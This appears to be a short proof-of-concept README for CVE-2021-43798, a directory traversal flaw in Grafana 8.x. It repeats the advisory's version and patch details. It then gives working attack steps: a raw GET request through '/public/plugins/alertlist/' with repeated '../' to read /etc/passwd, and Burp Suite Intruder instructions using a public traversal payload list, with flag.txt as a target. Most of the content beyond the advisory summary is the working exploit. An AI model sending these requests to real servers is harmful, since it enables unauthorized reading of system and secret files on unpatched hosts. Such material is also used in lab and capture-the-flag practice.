CVE-2021-43798 PoC — Grafana 路径遍历漏洞

介绍

# CVE-2021-43798

Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files

Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.


**Using Burp Suite**

Send GET to repeater

GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1

Then send to intruder
GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1


Using Sniper to ATTACK 
Payload copy from github https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal

Paypload processing
Match [\{FILE]} replace with {flag.txt}

文件快照

备注